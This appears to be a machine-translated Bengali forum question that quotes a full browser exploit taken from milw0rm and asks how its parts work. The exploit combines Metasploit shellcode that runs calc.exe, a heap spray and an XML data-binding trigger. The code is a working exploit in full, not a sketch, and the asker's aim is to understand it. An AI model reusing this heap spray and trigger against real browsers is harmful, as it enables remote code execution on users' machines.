আমার সাধারণত জাভাস্ক্রিপ্ট কোড পড়তে অসুবিধা হয় না তবে এর জন্য আমি যুক্তিটি বের করতে পারি না। কোডটি 4 দিন আগে প্রকাশিত একটি শোষণের থেকে। আপনি এটি মিলওয়0 আরএম এ পাবেন ।
কোডটি এখানে:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
আমি যা বিশ্বাস করি তা এখানেই রয়েছে এবং আমি যে অংশটি ভুল বুঝি তার জন্য আপনি আমাকে সহায়তা করুন।
ভেরিয়েবলটিতে shellcodeকোডটি খোলার জন্য রয়েছে calc.exe। তারা কীভাবে অদ্ভুত স্ট্রিংটি পেয়েছে তা আমি পাই না। কোন ধারণা?
দ্বিতীয় জিনিসটি পরিবর্তনশীল spray। আমি এই অদ্ভুত লুপ বুঝতে পারি না।
তৃতীয় জিনিসটি এমন পরিবর্তনশীল memoryযা কখনও কোথাও ব্যবহৃত হয় না। কেন তারা এটি তৈরি করে?
শেষ কথা: এক্সএমএল ট্যাগ পৃষ্ঠাতে কী করে?
এই মুহুর্তে আমার কাছে ভাল উত্তর রয়েছে তবে বেশিরভাগই খুব সাধারণ। আমি কোডটির মান সম্পর্কে আরও ব্যাখ্যা চাই। একটি উদাহরণ unescape("%u0a0a%u0a0a");। এর মানে কী? লুপ জন্য একই জিনিস কেন ডেভেলপার লেখ যা করেছে: length < 0xd0000? আমি এই কোডের তত্ত্বটিই নয়, আরও গভীর বোঝা চাই।